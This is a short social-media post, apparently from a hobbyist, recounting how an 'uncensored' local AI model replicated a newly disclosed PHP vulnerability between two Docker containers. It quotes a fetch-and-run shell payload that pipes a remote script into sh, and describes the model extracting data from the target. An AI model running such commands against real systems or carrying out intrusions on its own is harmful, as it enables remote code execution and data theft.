For fun, I asked my uncensored local model, Qwen-3.8-Flash-Next, to set up two Docker containers, one as the attacker and one as the target, and replicate the latest PHP vulnerability that was just discovered.
After a couple of hours, it was able to execute a 14-byte payload, `curl a.co/x|sh` and run a script to extract a bunch of stuff from the target. lol
To be clear, it searched for the bug and replicated it. It did not discover the vulnerability on its own. #AI #LLM #PHP #cyber